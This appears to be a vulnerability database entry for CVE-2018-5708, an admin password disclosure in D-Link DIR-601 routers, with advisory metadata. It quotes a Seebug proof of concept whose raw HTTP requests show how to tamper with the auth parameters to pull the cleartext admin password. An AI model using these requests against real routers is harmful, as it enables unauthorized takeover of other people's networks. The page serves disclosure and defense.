Vulnerabilities > CVE-2018-5708 - Insufficiently Protected Credentials vulnerability in Dlink Dir-601 Firmware 2.02Na

047910
CVSS 6.1 - MEDIUM
Attack vector
ADJACENT_NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
COMPLETE
Integrity impact
NONE
Availability impact
NONE
low complexity
dlink
CWE-522
exploit available

Summary

An issue was discovered on D-Link DIR-601 B1 2.02NA devices. Being on the same local network as, but being unauthenticated to, the administrator's panel, a user can obtain the admin username and cleartext password in the response (specifically, the configuration file restore_default), which is displayed in XML.

Vulnerable Configurations

Part Description Count
OS
Dlink
1
Hardware
Dlink
1

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Session Sidejacking
    Session sidejacking takes advantage of an unencrypted communication channel between a victim and target system. The attacker sniffs traffic on a network looking for session tokens in unencrypted traffic. Once a session token is captured, the attacker performs malicious actions by using the stolen token with the targeted application to impersonate the victim. This attack is a specific method of session hijacking, which is exploiting a valid session token to gain unauthorized access to a target system or information. Other methods to perform a session hijacking are session fixation, cross-site scripting, or compromising a user or server machine and stealing the session token.
  • Lifting credential(s)/key material embedded in client distributions (thick or thin)
    An attacker examines a target application's code or configuration files to find credential or key material that has been embedded within the application or its files. Many services require authentication with their users for the various purposes including billing, access control or attribution. Some client applications store the user's authentication credentials or keys to accelerate the login process. Some clients may have built-in keys or credentials (in which case the server is authenticating with the client, rather than the user). If the attacker is able to locate where this information is stored, they may be able to retrieve these credentials. The attacker could then use these stolen credentials to impersonate the user or client, respectively, in interactions with the service or use stolen keys to eavesdrop on nominally secure communications between the client and server.
  • Password Recovery Exploitation
    An attacker may take advantage of the application feature to help users recover their forgotten passwords in order to gain access into the system with the same privileges as the original user. Generally password recovery schemes tend to be weak and insecure. Most of them use only one security question . For instance, mother's maiden name tends to be a fairly popular one. Unfortunately in many cases this information is not very hard to find, especially if the attacker knows the legitimate user. These generic security questions are also re-used across many applications, thus making them even more insecure. An attacker could for instance overhear a coworker talking to a bank representative at the work place and supplying their mother's maiden name for verification purposes. An attacker can then try to log in into one of the victim's accounts, click on "forgot password" and there is a good chance that the security question there will be to provide mother's maiden name. A weak password recovery scheme totally undermines the effectiveness of a strong password scheme.

Exploit-Db

descriptionDLink DIR-601 - Admin Password Disclosure. CVE-2018-5708. Webapps exploit for Hardware platform
fileexploits/hardware/webapps/44388.txt
idEDB-ID:44388
last seen2018-05-24
modified2018-04-02
platformhardware
port
published2018-04-02
reporterExploit-DB
sourcehttps://www.exploit-db.com/download/44388/
titleDLink DIR-601 - Admin Password Disclosure
typewebapps

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/146983/dlinkdir601-disclose.txt
idPACKETSTORM:146983
last seen2018-04-03
published2018-04-01
reporterKevin Randall
sourcehttps://packetstormsecurity.com/files/146983/D-Link-DIR-601-Admin-Password-Disclosure.html
titleD-Link DIR-601 Admin Password Disclosure

Seebug

bulletinFamilyexploit
description### 1. Description Having local access to the network but being unauthenticated to the administrator panel, a user can disclose the built in Admin username/password to access the admin panel ### 2. Proof of Concept (For proof of concept, the real Admin password is "thisisatest" Step 1: Access default gateway/router login page Step 2: Login with Username Admin and put any random password: (This example the password is test) ``` POST /my_cgi.cgi?0.06201226210472943 HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: */* Accept-Language: en-US,en;q=0.5 Referer: http://192.168.0.1/login_real.htm Content-Type: application/x-www-form-urlencoded Content-Length: 74 DNT: 1 Connection: close request=login&admin_user_name=YWRtaW4A&admin_user_pwd=dGVzdA==&user_type=0 ``` Step 3: Clear Password that was set: ``` POST /my_cgi.cgi?0.06201226210472943 HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: */* Accept-Language: en-US,en;q=0.5 Referer: http://192.168.0.1/login_real.htm Content-Type: application/x-www-form-urlencoded Content-Length: 74 DNT: 1 Connection: close request=login&admin_user_name=YWRtaW4A&admin_user_pwd=&user_type=0 ``` Step 4: The following POST request will come back or a variant: ``` POST /my_cgi.cgi?0.322727424911867 HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: */* Accept-Language: en-US,en;q=0.5 Referer: http://192.168.0.1/back.htm Content-Type: application/x-www-form-urlencoded Content-Length: 73 DNT: 1 Connection: close request=no_auth&request=load_settings&table_name=fw_ver&table_name=hw_ver ``` Change the request=no_auth to "request=auth" ``` POST /my_cgi.cgi?0.322727424911867 HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: */* Accept-Language: en-US,en;q=0.5 Referer: http://192.168.0.1/back.htm Content-Type: application/x-www-form-urlencoded Content-Length: 73 DNT: 1 Connection: close request=auth&request=load_settings&table_name=fw_ver&table_name=hw_ver ``` Step 5: Forward the request: Step 6: Forward the following request: ``` POST /my_cgi.cgi?0.8141419425197141 HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: */* Accept-Language: en-US,en;q=0.5 Referer: http://192.168.0.1/back.htm Content-Type: application/x-www-form-urlencoded Content-Length: 20 DNT: 1 Connection: close request=show_message ``` Step 7: You will then be presented with the following: "Invalid user name or password, please try again" Step 8: Click Continue Step 9: You will see a POST request come back similar to the following: ``` POST /my_cgi.cgi?0.12979015154204587 HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: */* Accept-Language: en-US,en;q=0.5 Referer: http://192.168.0.1/login.htm Content-Type: application/x-www-form-urlencoded Content-Length: 68 DNT: 1 Connection: close request=no_auth&request=load_settings&table_name=get_restore_default ``` Step 10: Change the parameters "request=no_auth" to "request=auth" and "table_name=get_restore_default" to "table_name=restore_default" ``` POST /my_cgi.cgi?0.12979015154204587 HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: */* Accept-Language: en-US,en;q=0.5 Referer: http://192.168.0.1/login.htm Content-Type: application/x-www-form-urlencoded Content-Length: 68 DNT: 1 Connection: close request=auth&request=load_settings&table_name=restore_default ``` Step 11: Forward the request: Step 12: You will see the following POST request come back or a variant of it: ``` POST /my_cgi.cgi?0.5566044428265032 HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: */* Accept-Language: en-US,en;q=0.5 Referer: http://192.168.0.1/wizard_default.htm Content-Type: application/x-www-form-urlencoded Content-Length: 278 DNT: 1 Connection: close request=no_auth&request=load_settings&table_name=get_restore_default&table_name=wan_settings&table_name=wan_static&table_name=wan_pppoe&table_name=wan_pptp&table_name=wan_l2tp&table_name=wireless_settings&table_name=admin_user&table_name=time&table_name=fw_ver&table_name=hw_ver ``` Step 13: In BurpSuite, right click on the POST request and choose: "Do Intercept" "Response from this request": Step 14: In XML cleartext, configuration information is obtained including the Admin username and password "thisisatest" ``` HTTP/1.1 200 OK Content-type: text/xml Connection: close Date: Sat, 06 Jan 2018 13:33:26 GMT Server: lighttpd/1.4.28 Content-Length: 2414 <?xml version="1.0" encoding="UTF-8"?><root><restore_default>0</restore_default><wan_settings><wan_type>0</wan_type><wan_mac>44:8a:5b:8d:ba:13</wan_mac><primary_dns></primary_dns><secondary_dns></secondary_dns><enable_advanced_dns>1</enable_advanced_dns></wan_settings><wan_static><static_ip_addr>0.0.0.0</static_ip_addr><static_subnet_mask>0.0.0.0</static_subnet_mask><static_gateway>0.0.0.0</static_gateway><static_mtu>1500</static_mtu></wan_static><wan_pppoe><pppoe_conn_type>0</pppoe_conn_type><pppoe_user_name></pppoe_user_name><pppoe_user_pwd></pppoe_user_pwd><pppoe_service_name></pppoe_service_name><pppoe_ip_addr>0.0.0.0</pppoe_ip_addr><pppoe_conn_mode>on_demand</pppoe_conn_mode><pppoe_max_idle_time>300</pppoe_max_idle_time><pppoe_mtu>1492</pppoe_mtu></wan_pppoe><wan_pptp><pptp_conn_type>0</pptp_conn_type><pptp_ip_addr>0.0.0.0</pptp_ip_addr><pptp_subnet_mask>0.0.0.0</pptp_subnet_mask><pptp_gateway>0.0.0.0</pptp_gateway><pptp_server_ip></pptp_server_ip><pptp_user_name></pptp_user_name><pptp_user_pwd></pptp_user_pwd><pptp_conn_mode>on_demand</pptp_conn_mode><pptp_max_idle_time>300</pptp_max_idle_time><pptp_mtu>1400</pptp_mtu></wan_pptp><wan_l2tp><l2tp_conn_type>0</l2tp_conn_type><l2tp_ip_addr>0.0.0.0</l2tp_ip_addr><l2tp_subnet_mask>0.0.0.0</l2tp_subnet_mask><l2tp_gateway>0.0.0.0</l2tp_gateway><l2tp_server_ip></l2tp_server_ip><l2tp_user_name></l2tp_user_name><l2tp_user_pwd></l2tp_user_pwd><l2tp_conn_mode>on_demand</l2tp_conn_mode><l2tp_max_idle_time>300</l2tp_max_idle_time><l2tp_mtu>1400</l2tp_mtu></wan_l2tp><wireless_settings><enable_wireless>1</enable_wireless><wireless_schedule>Always</wireless_schedule><ssid>HomeAP</ssid><channel>3</channel><auto_channel>0</auto_channel><dot11_mode>11gn</dot11_mode><channel_width>0</channel_width><ssid_broadcast>1</ssid_broadcast></wireless_settings><admin_user><admin_user_name>admin</admin_user_name><admin_user_pwd>thisisatest</admin_user_pwd><admin_level>1</admin_level></admin_user><time><zone_index>12</zone_index><time_zone>-80</time_zone><ntp_enable>1</ntp_enable><ntp_server>time.nist.gov</ntp_server><manual_year>2011</manual_year><manual_month>1</manual_month><manual_day>1</manual_day><manual_hour>0</manual_hour><manual_min>0</manual_min><manual_sec>0</manual_sec></time><fw_ver>2.02NA</fw_ver><build_ver>01</build_ver><fw_date>Tue, 11 Nov 2014</fw_date><fw_region>NA</fw_region><hw_ver>B1</hw_ver></root> ``` ### 3. Solution: N/A. Unknown as of the moment
idSSV:97209
last seen2018-04-04
modified2018-04-03
published2018-04-03
reporterRoot
titleDLink DIR-601 - Admin Password Disclosure(CVE-2018-5708)